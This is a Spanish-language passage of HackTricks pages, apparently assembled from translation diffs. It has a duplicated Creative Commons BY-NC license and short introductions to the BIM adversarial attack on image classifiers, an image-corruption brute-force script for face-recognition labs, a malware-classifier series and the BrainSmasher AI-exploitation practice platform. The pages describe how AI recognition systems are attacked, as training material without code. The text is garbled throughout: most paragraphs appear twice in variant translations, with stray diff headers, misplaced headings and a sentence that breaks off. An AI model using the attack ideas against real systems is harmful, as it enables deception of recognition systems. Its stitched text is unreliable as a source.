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<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Licencia Creative Commons" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Derechos de autor © Carlos Polop 2021. Excepto donde se especifique lo contrario (la información externa copiada en el libro pertenece a los autores originales), el texto de <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> de Carlos Polop está bajo licencia de <a href="https://creativecommons.org/licenses/by-nc/4.0/">Atribución-NoComercial 4.0 Internacional (CC BY-NC 4.0)</a>.
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Licencia de Creative Commons" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Derechos de autor © Carlos Polop 2021. Excepto donde se especifique lo contrario (la información externa copiada en el libro pertenece a los autores originales), el texto en <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> de Carlos Polop está licenciado bajo la <a href="https://creativecommons.org/licenses/by-nc/4.0/">Licencia Internacional Creative Commons Atribución-NoComercial 4.0 (CC BY-NC 4.0)</a>.
Licencia: Atribución-NoComercial 4.0 Internacional (CC BY-NC 4.0)<br>
Licencia legible por humanos: https://creativecommons.org/licenses/by-nc/4.0/<br>
Licencia en términos comprensibles para humanos: https://creativecommons.org/licenses/by-nc/4.0/<br>
Términos legales completos: https://creativecommons.org/licenses/by-nc/4.0/legalcode<br>
Formato: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown<br>
# creative commons
# Atribución-NoComercial 4.0 Internacional
# Licencia Pública Internacional Creative Commons Atribución-NoComercial 4.0
Creative Commons Corporation ("Creative Commons") no es un bufete de abogados y no proporciona servicios legales ni asesoramiento legal. La distribución de licencias públicas de Creative Commons no crea una relación abogado-cliente u otra relación. Creative Commons pone sus licencias e información relacionada a disposición tal cual. Creative Commons no ofrece garantías con respecto a sus licencias, cualquier material con licencia bajo sus términos y condiciones, o cualquier información relacionada. Creative Commons renuncia a toda responsabilidad por daños resultantes de su uso en la medida máxima posible.
Creative Commons Corporation ("Creative Commons") no es un bufete de abogados y no proporciona servicios legales ni asesoramiento legal. La distribución de licencias públicas de Creative Commons no crea una relación de abogado-cliente u otra relación. Creative Commons pone a disposición sus licencias e información relacionada en una base "tal cual". Creative Commons no ofrece garantías respecto a sus licencias, cualquier material licenciado bajo sus términos y condiciones, o cualquier información relacionada. Creative Commons renuncia a toda responsabilidad por daños resultantes de su uso en la medida máxima posible.
## Uso de las licencias públicas de Creative Commons
## Uso de Licencias Públicas de Creative Commons
Las licencias públicas de Creative Commons proporcionan un conjunto estándar de términos y condiciones que los creadores y otros titulares de derechos pueden utilizar para compartir obras originales de autoría y otros materiales sujetos a derechos de autor y ciertos otros derechos especificados en la licencia pública a continuación. Las siguientes consideraciones son solo para fines informativos, no son exhaustivas y no forman parte de nuestras licencias.
Las licencias públicas de Creative Commons proporcionan un conjunto estándar de términos y condiciones que los creadores y otros titulares de derechos pueden usar para compartir obras originales de autoría y otro material sujeto a derechos de autor y ciertos otros derechos especificados en la licencia pública a continuación. Las siguientes consideraciones son solo para fines informativos, no son exhaustivas y no forman parte de nuestras licencias.
* __Consideraciones para los licenciantes:__ Nuestras licencias públicas están destinadas a ser utilizadas por aquellos autorizados para dar permiso público para utilizar materiales de formas que de otra manera estarían restringidas por derechos de autor y ciertos otros derechos. Nuestras licencias son irrevocables. Los licenciantes deben leer y comprender los términos y condiciones de la licencia que elijan antes de aplicarla. Los licenciantes también deben asegurarse de obtener todos los derechos necesarios antes de aplicar nuestras licencias para que el público pueda reutilizar el material como se espera. Los licenciantes deben marcar claramente cualquier material que no esté sujeto a la licencia. Esto incluye otro material con licencia CC, o material utilizado bajo una excepción o limitación al derecho de autor. [Más consideraciones para los licenciantes](http://wiki.creativecommons.org/Consider
## Sección 3 - Condiciones de la Licencia.
* __Consideraciones para los licenciantes:__ Nuestras licencias públicas están destinadas a ser utilizadas por aquellos autorizados para otorgar al público permiso para usar material de maneras de otra forma restringidas por derechos de autor y ciertos otros derechos. Nuestras licencias son irrevocables. Los licenciantes deben leer y comprender los términos y condiciones de la licencia que elijan antes de aplicarla. Los licenciantes también deben asegurar todos los derechos necesarios antes de aplicar nuestras licencias para que el público pueda reutilizar el material como se espera. Los licenciantes deben marcar claramente cualquier material no sujeto a la licencia. Esto incluye otro material con licencia de CC, o material utilizado bajo una excepción o limitación a los derechos de autor. [Más consideraciones para los licenciantes](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
El ejercicio de los Derechos Licenciados está expresamente sujeto a las siguientes condiciones.
* __Consideraciones para el público:__ Al usar una de nuestras licencias públicas, un licenciante otorga al público permiso para usar el material licenciado bajo términos y condiciones especificados. Si el permiso del licenciante no es necesario por alguna razón, por ejemplo, debido a cualquier excepción o limitación aplicable a los derechos de autor, entonces ese uso no está regulado por la licencia. Nuestras licencias otorgan solo permisos bajo derechos de autor y ciertos otros derechos que un licenciante tiene autoridad para otorgar. El uso del material licenciado aún puede estar restringido por otras razones, incluyendo porque otros tienen derechos de autor u otros derechos en el material. Un licenciante puede hacer solicitudes especiales, como pedir que todos los cambios sean marcados o descritos. Aunque no es requerido por nuestras licencias, se le anima a respetar esas solicitudes cuando sea razonable. [Más consideraciones para el público](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
# Licencia Pública Internacional Creative Commons Atribución-NoComercial 4.0
Al ejercer los Derechos Licenciados (definidos a continuación), Usted acepta y acuerda estar sujeto a los términos y condiciones de esta Licencia Pública Internacional Creative Commons Atribución-NoComercial 4.0 ("Licencia Pública"). En la medida en que esta Licencia Pública pueda ser interpretada como un contrato, se le otorgan los Derechos Licenciados en consideración a su aceptación de estos términos y condiciones, y el Licenciante le otorga dichos derechos en consideración a los beneficios que el Licenciante recibe al hacer disponible el Material Licenciado bajo estos términos y condiciones.
## Sección 1 Definiciones.
a. __Material Adaptado__ significa material sujeto a Derechos de Autor y Derechos Similares que se deriva de o se basa en el Material Licenciado y en el cual el Material Licenciado es traducido, alterado, organizado, transformado o modificado de otra manera de una manera que requiere permiso bajo los Derechos de Autor y Derechos Similares sostenidos por el Licenciante. Para los propósitos de esta Licencia Pública, donde el Material Licenciado es una obra musical, actuación o grabación de sonido, el Material Adaptado siempre se produce cuando el Material Licenciado está sincronizado en relación temporal con una imagen en movimiento.
b. __Licencia del Adaptador__ significa la licencia que Usted aplica a Sus Derechos de Autor y Derechos Similares en Sus contribuciones al Material Adaptado de acuerdo con los términos y condiciones de esta Licencia Pública.
c. __Derechos de Autor y Derechos Similares__ significa derechos de autor y/o derechos similares estrechamente relacionados con los derechos de autor, incluyendo, sin limitación, derechos de ejecución, transmisión, grabación de sonido y Derechos de Base de Datos Sui Generis, sin tener en cuenta cómo los derechos están etiquetados o categorizados. Para los propósitos de esta Licencia Pública, los derechos especificados en la Sección 2(b)(1)-(2) no son Derechos de Autor y Derechos Similares.
d. __Medidas Tecnológicas Efectivas__ significa aquellas medidas que, en ausencia de autoridad adecuada, no pueden ser eludidas bajo leyes que cumplen con obligaciones bajo el Artículo 11 del Tratado de Derechos de Autor de la OMPI adoptado el 20 de diciembre de 1996, y/o acuerdos internacionales similares.
e. __Excepciones y Limitaciones__ significa uso justo, trato justo y/o cualquier otra excepción o limitación a los Derechos de Autor y Derechos Similares que se aplica a Su uso del Material Licenciado.
f. __Material Licenciado__ significa la obra artística o literaria, base de datos u otro material al cual el Licenciante aplicó esta Licencia Pública.
g. __Derechos Licenciados__ significa los derechos otorgados a Usted sujetos a los términos y condiciones de esta Licencia Pública, que están limitados a todos los Derechos de Autor y Derechos Similares que se aplican a Su uso del Material Licenciado y que el Licenciante tiene autoridad para licenciar.
h. __Licenciante__ significa la(s) persona(s) o entidad(es) que otorgan derechos bajo esta Licencia Pública.
i. __NoComercial__ significa no principalmente destinado para o dirigido hacia ventaja comercial o compensación monetaria. Para los propósitos de esta Licencia Pública, el intercambio del Material Licenciado por otro material sujeto a Derechos de Autor y Derechos Similares mediante intercambio de archivos digitales o medios similares es NoComercial siempre que no haya pago de compensación monetaria en conexión con el intercambio.
j. __Compartir__ significa proporcionar material al público por cualquier medio o proceso que requiera permiso bajo los Derechos Licenciados, como reproducción, exhibición pública, actuación pública, distribución, diseminación, comunicación o importación, y hacer material disponible al público incluyendo de maneras en que los miembros del público puedan acceder al material desde un lugar y en un momento elegido individualmente por ellos.
k. __Derechos de Base de Datos Sui Generis__ significa derechos distintos de los derechos de autor resultantes de la Directiva 96/9/EC del Parlamento Europeo y del Consejo de 11 de marzo de 1996 sobre la protección legal de bases de datos, según enmendada y/o sucedida, así como otros derechos esencialmente equivalentes en cualquier parte del mundo.
l. __Usted__ significa la persona o entidad que ejerce los Derechos Licenciados bajo esta Licencia Pública. Su tiene un significado correspondiente.
## Sección 2 Alcance.
a. ___Concesión de licencia.___
1. Sujeto a los términos y condiciones de esta Licencia Pública, el Licenciante por la presente le otorga a Usted una licencia mundial, libre de regalías, no sublicenciable, no exclusiva, irrevocable para ejercer los Derechos Licenciados en el Material Licenciado para:
A. reproducir y Compartir el Material Licenciado, en su totalidad o en parte, solo para fines NoComerciales; y
B. producir, reproducir y Compartir Material Adaptado solo para fines NoComerciales.
2. __Excepciones y Limitaciones.__ Para evitar dudas, donde las Excepciones y Limitaciones se aplican a Su uso, esta Licencia Pública no se aplica, y Usted no necesita cumplir con sus términos y condiciones.
3. __Plazo.__ El plazo de esta Licencia Pública se especifica en la Sección 6(a).
4. __Medios y formatos; modificaciones técnicas permitidas.__ El Licenciante le autoriza a ejercer los Derechos Licenciados en todos los medios y formatos, ya sean conocidos ahora o creados en el futuro, y a realizar modificaciones técnicas necesarias para hacerlo. El Licenciante renuncia y/o acuerda no afirmar ningún derecho o autoridad para prohibirle realizar modificaciones técnicas necesarias para ejercer los Derechos Licenciados, incluyendo modificaciones técnicas necesarias para eludir Medidas Tecnológicas Efectivas. Para los propósitos de esta Licencia Pública, simplemente realizar modificaciones autorizadas por esta Sección 2(a)(4) nunca produce Material Adaptado.
5. __Destinatarios posteriores.__
A. __Oferta del Licenciante Material Licenciado.__ Cada destinatario del Material Licenciado recibe automáticamente una oferta del Licenciante para ejercer los Derechos Licenciados bajo los términos y condiciones de esta Licencia Pública.
B. __Sin restricciones posteriores.__ Usted no puede ofrecer o imponer términos o condiciones adicionales o diferentes, o aplicar Medidas Tecnológicas Efectivas al Material Licenciado si al hacerlo restringe el ejercicio de los Derechos Licenciados por cualquier destinatario del Material Licenciado.
6. __Sin endoso.__ Nada en esta Licencia Pública constituye o puede ser interpretado como permiso para afirmar o implicar que Usted está, o que Su uso del Material Licenciado está, conectado con, o patrocinado, respaldado o otorgado estatus oficial por, el Licenciante u otros designados para recibir atribución como se proporciona en la Sección 3(a)(1)(A)(i).
b. ___Otros derechos.___
1. Derechos morales, como el derecho de integridad, no están licenciados bajo esta Licencia Pública, ni lo están los derechos de publicidad, privacidad y/o otros derechos de personalidad similares; sin embargo, en la medida de lo posible, el Licenciante renuncia y/o acuerda no afirmar tales derechos sostenidos por el Licenciante en la medida limitada necesaria para permitirle a Usted ejercer los Derechos Licenciados, pero no de otra manera.
2. Los derechos de patente y marca no están licenciados bajo esta Licencia Pública.
3. En la medida de lo posible, el Licenciante renuncia a cualquier derecho a cobrar regalías de Usted por el ejercicio de los Derechos Licenciados, ya sea directamente o a través de una sociedad de gestión bajo cualquier esquema de licencia voluntaria o renunciable o de licencia obligatoria. En todos los demás casos, el Licenciante se reserva expresamente cualquier derecho a cobrar dichas regalías, incluyendo cuando el Material Licenciado se utiliza para fines distintos de los NoComerciales.
## Sección 3 Condiciones de la Licencia.
Su ejercicio de los Derechos Licenciados está expresamente sujeto a las siguientes condiciones.
a. ___Atribución.___
1. Si Compartes el Material Licenciado (incluyendo en forma modificada), debes:
1. Si Usted Comparte el Material Licenciado (incluyendo en forma modificada), Usted debe:
A. mantener lo siguiente si es suministrado por el Licenciante con el Material Licenciado:
A. retener lo siguiente si es proporcionado por el Licenciante con el Material Licenciado:
i. identificación del creador(es) del Material Licenciado y cualquier otro designado para recibir atribución, de cualquier manera razonable solicitada por el Licenciante (incluyendo por seudónimo si es designado);
i. identificación del creador(es) del Material Licenciado y cualquier otro designado para recibir atribución, de cualquier manera razonable solicitada por el Licenciante (incluyendo por seudónimo si es designado);
ii. un aviso de derechos de autor;
ii. un aviso de derechos de autor;
iii. un aviso que se refiere a esta Licencia Pública;
iii. un aviso que se refiere a esta Licencia Pública;
iv. un aviso que se refiere a la renuncia de garantías;
iv. un aviso que se refiere a la renuncia de garantías;
v. un URI o hipervínculo al Material Licenciado en la medida en que sea razonablemente posible;
v. un URI o hipervínculo al Material Licenciado en la medida en que sea razonablemente practicable;
B. indicar si modificaste el Material Licenciado y mantener una indicación de cualquier modificación previa; y
B. indicar si Usted modificó el Material Licenciado y retener una indicación de cualquier modificación anterior; y
C. indicar que el Material Licenciado está licenciado bajo esta Licencia Pública, e incluir el texto de, o el URI o hipervínculo a, esta Licencia Pública.
C. indicar que el Material Licenciado está licenciado bajo esta Licencia Pública, e incluir el texto de, o el URI o hipervínculo a, esta Licencia Pública.
2. Puedes cumplir las condiciones en la Sección 3(a)(1) de cualquier manera razonable basada en el medio, los medios y el contexto en el que Compartes el Material Licenciado. Por ejemplo, puede ser razonable cumplir las condiciones proporcionando un URI o hipervínculo a un recurso que incluya la información requerida.
2. Usted puede satisfacer las condiciones en la Sección 3(a)(1) de cualquier manera razonable basada en el medio, medios y contexto en el que Usted Comparte el Material Licenciado. Por ejemplo, puede ser razonable satisfacer las condiciones proporcionando un URI o hipervínculo a un recurso que incluya la información requerida.
3. Si el Licenciante lo solicita, debes eliminar cualquier información requerida por la Sección 3(a)(1)(A) en la medida en que sea razonablemente posible.
3. Si es solicitado por el Licenciante, Usted debe eliminar cualquier información requerida por la Sección 3(a)(1)(A) en la medida en que sea razonablemente practicable.
4. Si Compartes Material Adaptado que produjiste, la Licencia del Adaptador que apliques no debe impedir que los destinatarios del Material Adaptado cumplan con esta Licencia Pública.
4. Si Usted Comparte Material Adaptado que Usted produce, la Licencia del Adaptador que Usted aplica no debe impedir que los destinatarios del Material Adaptado cumplan con esta Licencia Pública.
## Sección 4 - Derechos de Base de Datos Sui Generis.
## Sección 4 Derechos de Base de Datos Sui Generis.
Cuando los Derechos Licenciados incluyen Derechos de Base de Datos Sui Generis que se aplican a su uso del Material Licenciado:
Donde los Derechos Licenciados incluyen Derechos de Base de Datos Sui Generis que se aplican a Su uso del Material Licenciado:
a. para evitar dudas, la Sección 2(a)(1) te otorga el derecho de extraer, reutilizar, reproducir y Compartir todo o una parte sustancial del contenido de la base de datos solo para fines no comerciales;
a. para evitar dudas, la Sección 2(a)(1) le otorga el derecho a extraer, reutilizar, reproducir y Compartir todo o una parte sustancial del contenido de la base de datos solo para fines NoComerciales;
b. si incluyes todo o una parte sustancial del contenido de la base de datos en una base de datos en la que tienes Derechos de Base de Datos Sui Generis, entonces la base de datos en la que tienes Derechos de Base de Datos Sui Generis (pero no sus contenidos individuales) es Material Adaptado; y
b. si Usted incluye todo o una parte sustancial del contenido de la base de datos en una base de datos en la que Usted tiene Derechos de Base de Datos Sui Generis, entonces la base de datos en la que Usted tiene Derechos de Base de Datos Sui Generis (pero no su contenido individual) es Material Adaptado; y
c. debes cumplir con las condiciones en la Sección 3(a) si Compartes todo o una parte sustancial del contenido de la base de datos.
c. Usted debe cumplir con las condiciones en la Sección 3(a) si Usted Comparte todo o una parte sustancial del contenido de la base de datos.
Para evitar dudas, esta Sección 4 complementa y no reemplaza tus obligaciones bajo esta Licencia Pública cuando los Derechos Licenciados incluyen otros Derechos de Autor y Derechos Similares.
## Sección 5 - Renuncia de Garantías y Limitación de Responsabilidad.
a. __A menos que el Licenciante se comprometa por separado, en la medida de lo posible, el Licenciante ofrece el Material Licenciado tal cual y como está disponible, y no hace ninguna representación o garantía de ningún tipo con respecto al Material Licenciado, ya sea expresa, implícita, legal o de otro tipo. Esto incluye, sin limitación, garantías de título, comerciabilidad, idoneidad para un propósito particular, no infracción, ausencia de defectos latentes u otros, precisión o la presencia o ausencia de errores, ya sean conocidos o descubribles. Donde las renuncias de garantías no están permitidas en su totalidad o en parte, esta renuncia puede no aplicarse a ti.__
b. __En la medida de lo posible, en ningún caso el Licenciante será responsable ante ti por cualquier teoría legal (incluyendo, sin limitación, negligencia) o de otro modo por cualquier pérdida directa, especial, indirecta, incidental, consecuente, punitiva, ejemplar u otras pérdidas, costos, gastos o daños que surjan de esta Licencia Pública o del uso del Material Licenciado, incluso si el Licenciante ha sido informado de la posibilidad de tales pérdidas, costos, gastos o daños. Donde una limitación de responsabilidad no está permitida en su totalidad o en parte, esta limitación puede no aplicarse a ti.__
c. La renuncia de garantías y la limitación de responsabilidad proporcionadas anteriormente se interpretarán de manera que, en la medida de lo posible, se aproximen más a una renuncia y exención absolutas de toda responsabilidad.
## Sección 6 - Plazo y Terminación.
a. Esta Licencia Pública se aplica durante el plazo de los Derechos de Autor y Derechos Similares licenciados aquí. Sin embargo, si no cumples con esta Licencia Pública, tus derechos bajo esta Licencia Pública terminan automáticamente.
b. Cuando tu derecho a usar el Material Licenciado haya terminado bajo la Sección 6(a), se restablecerá:
1. automáticamente a partir de la fecha en que se corrija la violación, siempre que se corrija dentro de los 30 días posteriores a tu descubrimiento de la violación; o
2. mediante el restablecimiento expreso del Licenciante.
Para evitar dudas, esta Sección 6(b) no afecta ningún derecho que el Licenciante pueda tener para buscar remedios por tus violaciones de esta Licencia Pública.
c. Para evitar dudas, el Licenciante también puede ofrecer el Material Licenciado bajo términos o condiciones separados o dejar de distribuir el Material Licenciado en cualquier momento; sin embargo, hacerlo no terminará esta Licencia Pública.
d. Las Secciones 1, 5, 6, 7 y 8 sobreviven a la terminación de esta Licencia Pública.
## Sección 7 - Otros Términos y Condiciones.
a. El Licenciante no estará obligado por ningún término o condición adicional o diferente comunicado por ti a menos que se acuerde expresamente.
b. Cualquier acuerdo, entendimiento o acuerdo con respecto al Material Licenciado no establecido aquí es independiente de los términos y condiciones de esta Licencia Pública.
## Sección 8 - Interpretación.
a. Para evitar dudas, esta Licencia Pública no reduce, limita, restringe o impone condiciones sobre cualquier uso del Material Licenciado que pudiera hacerse legalmente sin permiso bajo esta Licencia Pública.
b. En la medida de lo posible, si alguna disposición de esta Licencia Pública se considera inaplicable, se reformará automáticamente en la medida mínima necesaria para hacerla aplicable. Si la disposición no puede reformarse, se separará de esta Licencia Pública sin afectar la aplicabilidad de los términos y condiciones restantes.
c. Ningún término o condición de esta Licencia Pública será renunciado y ninguna falta de cumplimiento será consentida a menos que se acuerde expresamente por el Licenciante.
d. Nada en esta Licencia Pública constituye o puede interpretarse como una limitación o renuncia de cualquier privilegio e inmunidad que se aplique al Licenciante o a ti, incluyendo de los procesos legales de cualquier jurisdicción o autoridad.
Para evitar dudas, esta Sección 4 complementa
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Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
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Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/).
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@ -1,11 +1,40 @@
En esta ocasión presentamos un nuevo tipo de ataque basado en gradientes, con el fin de realizar un ataque de fuerza bruta en una aplicación de clasificación de imágenes (que por supuesto puede ser adaptado para cualquier tipo de entrada), el BIM o Método de Iteración Básica.
<details>
Se recomienda ver al menos la explicación en el [**Notebook de introducción al desafío**](//https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR).
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Para profundizar en el tema del BIM:
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</details>
Esta vez introducimos un nuevo tipo de ataque basado en gradientes, para forzar bruscamente una aplicación de clasificación de imágenes (puede ser moldeado y utilizado para cualquier entrada, por supuesto), el BIM, o Método de Iteración Básico.
Se recomienda ver al menos la explicación en el [**cuaderno de notas colab del desafío de introducción**](//https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR)
Para profundizar en el tema BIM:
https://arxiv.org/pdf/1607.02533.pdf
Como de costumbre, proporcionaremos solo la parte central del ataque de IA, y dependerá de usted completar la herramienta y mezclarla con técnicas de PT, dependiendo de la situación.
Como de costumbre, solo proporcionaremos la parte central del ataque de A.I., depende de ti completar la herramienta y combinarla con técnicas de PT, dependiendo de las situaciones.
Tenga en cuenta:
Recuerde, en este tipo de escenarios, para imitar aplicaciones de ataque basadas en la realidad, no tenemos el modelo exacto para engañar o la imagen objetivo en la que nos gustaría transformar nuestra imagen. Es por eso que, para superar este problema, debemos mezclar nuestro script central con una lógica de fuerza bruta, de acuerdo con las respuestas de la aplicación que queremos engañar.
Por favor, ten en cuenta:
Recuerda, en este tipo de escenarios, para imitar aplicaciones de ataque basadas en la realidad, no tenemos el modelo exacto para engañar o la imagen objetivo en la que nos gustaría transformar nuestra imagen. Por eso, para superar este problema, debemos combinar nuestro script central, con una lógica de fuerza bruta, de acuerdo a las respuestas de la aplicación que queremos engañar.
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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@ -1,12 +1,42 @@
# SCRIPT DE CORRUPCIÓN DE IMÁGENES DE BRUTEFORCEADOR
<details>
El propósito aquí es introducir al usuario a algunos conceptos básicos sobre la explotación de aplicaciones de **A.I.**, a través de algunos scripts fáciles de seguir, que representan el núcleo para escribir herramientas útiles.<br>
En este ejemplo (que se puede utilizar para resolver los laboratorios fáciles de BrainSmasher) recordando también lo que se escribe en la solución para el desafío de introducción, proporcionaremos una manera simple pero útil, para producir iterativamente algunas imágenes corruptas, para hacer fuerza bruta en los laboratorios fáciles de reconocimiento facial (y por lo tanto también en aplicaciones reales que se basan en los mismos principios).
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Por supuesto, no proporcionaremos el código completo, sino sólo la parte central para la explotación del modelo, **en su lugar se dejarán algunos ejercicios al usuario (la parte de pentesting)**, para completar la herramienta. También proporcionaremos algunas pistas, sólo para dar una idea de lo que se puede hacer.
Otras formas de apoyar a HackTricks:
El script se puede encontrar en [**BRUTEFORCEADOR DE IMÁGENES**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV)
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Pruébalo en nuestros laboratorios [**Sitio web de BrA.I.Smasher**](https://beta.brainsmasher.eu/)
</details>
# SCRIPT DE CORRUPCIÓN DE IMÁGENES PARA FUERZA BRUTA
El propósito aquí es introducir al usuario a algunos conceptos básicos sobre **explotación de aplicaciones de A.I.**, a través de algunos scripts fáciles de seguir, que representan el núcleo para escribir herramientas útiles.<br>
En este ejemplo (que se puede utilizar para resolver los laboratorios fáciles de BrainSmasher) recordando también lo que está escrito en la solución para el desafío de introducción, proporcionaremos una forma simple pero útil, para producir iterativamente algunas imágenes corruptas, para hacer fuerza bruta en los laboratorios fáciles de reconocimiento facial (y así también aplicaciones reales que se basan en los mismos principios)
Por supuesto, no proporcionaremos el código completo sino solo la parte central para la explotación del modelo, **en cambio, algunos ejercicios se dejarán al usuario (la parte de pentesting)**, para completar la herramienta. También proporcionaremos algunas pistas, solo para dar una idea de lo que se puede hacer.
El script se puede encontrar en [**FUERZA BRUTA DE IMÁGENES**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV)
Pruébalo en nuestros laboratorios [**Sitio Web de BrA.I.Smasher**](https://beta.brainsmasher.eu/)
<br>
¡Disfruta y mantente seguro!
<details>
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@ -1,32 +1,46 @@
<details>
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#HABILIDADES INTERMEDIAS DE PYTHON, HABILIDADES INTERMEDIAS DE APRENDIZAJE AUTOMÁTICO (Parte 1)
# HABILIDADES INTERMEDIAS EN PYTHON, HABILIDADES INTERMEDIAS EN MACHINE LEARNING (Parte 1)
En esta serie de cuadernos vamos a construir un **clasificador de malware híbrido.**
En esta serie de cuadernos vamos a construir un **clasificador híbrido de malware.**
Para la **Primera parte** nos centraremos en el script que implica el análisis dinámico. Cualquier paso de esta serie será útil para detectar malwares, y en esta pieza intentaremos clasificarlos en función de su comportamiento, utilizando los registros producidos al ejecutar un programa.
Para la **Primera parte** nos centraremos en el scripting que implica el análisis dinámico. Cualquier paso de esta serie será útil para detectar malwares, y en esta pieza intentaremos clasificarlos basándonos en su comportamiento, utilizando los registros producidos al ejecutar un programa.
En la **Segunda Parte** veremos cómo manipular los archivos de registro para agregar robustez a nuestro clasificador y ajustar el código para contrarrestar los métodos más avanzados de evasión de malware de A.I.
En la **Segunda Parte** veremos cómo manipular los archivos de registros para añadir robustez a nuestro clasificador y ajustar el código para contrarrestar los métodos más avanzados de Evasión de Malware con A.I.
En la **Tercera Parte** crearemos un Clasificador de Malware Estático.
Para la **Cuarta Parte** agregaremos algunas tácticas para agregar robustez a nuestro clasificador estático y fusionaremos este último con nuestro Clasificador Dinámico.
Para la **Cuarta Parte** añadiremos algunas tácticas para añadir robustez a nuestro clasificador estático y fusionar este último con nuestro Clasificador Dinámico.
**TENGA EN CUENTA:** Esta serie depende en gran medida de la construcción de un conjunto de datos por su cuenta, aunque no es obligatorio.<br>
También hay muchos conjuntos de datos disponibles para el análisis de malware estático y/o dinámico en varios sitios para este tipo de clasificación, como Ember, VirusShare, Sorel-20M, pero recomiendo encarecidamente que construya uno propio.
**TENGA EN CUENTA:** Esta serie depende en gran medida de construir un conjunto de datos por su cuenta, aunque no es obligatorio.<br>
También hay muchos conjuntos de datos disponibles para el análisis de Malware Estático y/o Dinámico en varios sitios para este tipo de clasificación, como Ember, VirusShare, Sorel-20M, pero recomiendo encarecidamente que construyas uno propio.
Aquí está el enlace a nuestro [**cuaderno de colab**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) disfrútelo y manténgase seguro :)
Aquí está el enlace a nuestro [**cuaderno de colab**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) disfruta y mantente seguro :)
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@ -1,52 +1,50 @@
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# Presentación
**BrainSmasher** es una plataforma creada con el propósito de ayudar a **pentesters, investigadores, estudiantes, ingenieros de ciberseguridad A.I.** a practicar y aprender todas las técnicas para **explotar aplicaciones comerciales de A.I.**, trabajando en laboratorios específicamente diseñados que reproducen varios sistemas, como reconocimiento facial, reconocimiento de voz, clasificación de imágenes de conjunto, conducción autónoma, evasión de malware, chatbot, envenenamiento de datos, etc.
**BrainSmasher** es una plataforma creada con el propósito de ayudar a **pentesters, investigadores, estudiantes, ingenieros de ciberseguridad en A.I.** a practicar y aprender todas las técnicas para **explotar aplicaciones comerciales de A.I.**, trabajando en laboratorios especialmente diseñados que reproducen varios sistemas, como reconocimiento facial, reconocimiento de voz, clasificación de imágenes en conjunto, conducción autónoma, evasión de malware, chatbot, envenenamiento de datos, etc...
Cada mes se publicará un laboratorio sobre varios temas que se encuentran en las aplicaciones comerciales de A.I., con **3 dificultades diferentes** (llamadas desafíos), para **guiar** al usuario en la **comprensión** de todas las mecánicas detrás de ella y practicar **diferentes** formas de **explotación**.
Cada mes se publicará un laboratorio sobre diversos temas encontrados en aplicaciones comerciales de A.I., con **3 diferentes niveles de dificultad** (denominados desafíos), con el fin de **guiar** al usuario en la **comprensión** de toda la mecánica detrás de ello y practicar **diferentes** formas de **explotación**.
Dado que las aplicaciones de A.I. son relativamente nuevas, también existe la posibilidad de que los desafíos de mayor dificultad para los laboratorios no tengan algunas formas de explotación públicas conocidas, por lo que depende de usted encontrar la solución correcta. Tal vez algunos desafíos podrían necesitar la **combinación** de técnicas de ciberseguridad "**estándar**" con ataques adversarios de **aprendizaje automático** ;)
Dado que las aplicaciones de A.I. son relativamente nuevas, también existe la posibilidad de que los desafíos de **mayor dificultad para los laboratorios no tengan métodos de explotación conocidos públicamente**, por lo que depende de ti encontrar la solución correcta. Tal vez algunos desafíos podrían necesitar la **combinación** de técnicas de **ciberseguridad "estándar"** con ataques adversarios de **aprendizaje automático** ;)
La plataforma, que ahora está en versión **beta**, también contará en el futuro con **competiciones pagadas**, publicación de **ofertas de trabajo**, sistema de **clasificación**, tutoriales sobre varios temas de explotación de A.I., la posibilidad de **ganar dinero** proponiendo laboratorios personales o diferentes desafíos, para una aplicación de laboratorio de A.I. ya existente, para ser utilizada por la comunidad y también proponer modificaciones a los desafíos ya existentes para aumentar su robustez frente a los diversos ataques.
La plataforma, que ahora está en versión **beta**, también contará en el futuro próximo con competiciones **pagadas**, publicación de **ofertas de trabajo**, sistema de **clasificación**, **tutoriales** sobre varios temas de explotación de A.I., la posibilidad de **ganar** **dinero** **proponiendo** laboratorios personales o diferentes desafíos, para aplicaciones de laboratorio de A.I. ya existentes, para ser utilizados por la comunidad y también proponer modificaciones a desafíos ya existentes con el fin de aumentar su robustez frente a los diversos ataques.
Todo el **material y las técnicas para la explotación de A.I. se publicarán aquí** en una sección dedicada de hacktricks.
